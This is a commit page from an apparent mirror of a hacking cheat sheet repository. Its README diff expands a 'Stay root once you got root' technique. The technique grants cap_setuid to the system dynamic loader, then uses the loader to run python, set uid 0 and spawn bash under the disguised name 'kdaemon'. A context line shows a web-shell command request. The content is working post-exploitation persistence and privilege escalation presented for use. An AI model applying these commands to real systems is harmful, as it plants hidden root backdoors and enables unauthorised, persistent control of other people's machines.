CalvinBackup/thc-tips-tricks-hacks-cheat-sheet
1
0
Fork 0
mirror of https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet.git synced 2026-07-10 12:48:36 +02:00
Code Issues Packages Projects Releases Wiki Activity

Update README.md

Browse Source
This commit is contained in:
skyper
2024-06-17 19:49:34 +01:00
committed by GitHub
parent e42b642f01
commit 840a5cd144
1 changed files with 8 additions and 3 deletions
Download Patch File Download Diff File Expand all files Collapse all files
README.md
+8 -3
View File
@@ -1606,13 +1606,18 @@ curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"
Stay root once you got root
```bash
### Execute as root user
setcap cap_setuid+ep /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
setcap cap_setuid+ep /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 2>/dev/null \
|| setcap cap_setuid+ep /lib64/ld-2.17.so 2>/dev/null \
|| echo >&2 "FAILED. File not found"
```
Become root
```bash
### Execute as non-root user
exec /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /usr/bin/python3 -c 'import os;os.setuid(0);os.execlp("bash", "kdaemon")'
p="python"
command -v python3 >/dev/null && p="python3"
[[ -f /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 ]] && l="/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2"
[[ -f /lib64/ld-2.17.so ]] && l="/lib64/ld-2.17.so"
exec "${l:?}" "$p" -c 'import os;os.setuid(0);os.execlp("bash", "kdaemon")'
```
<a id="implant"></a>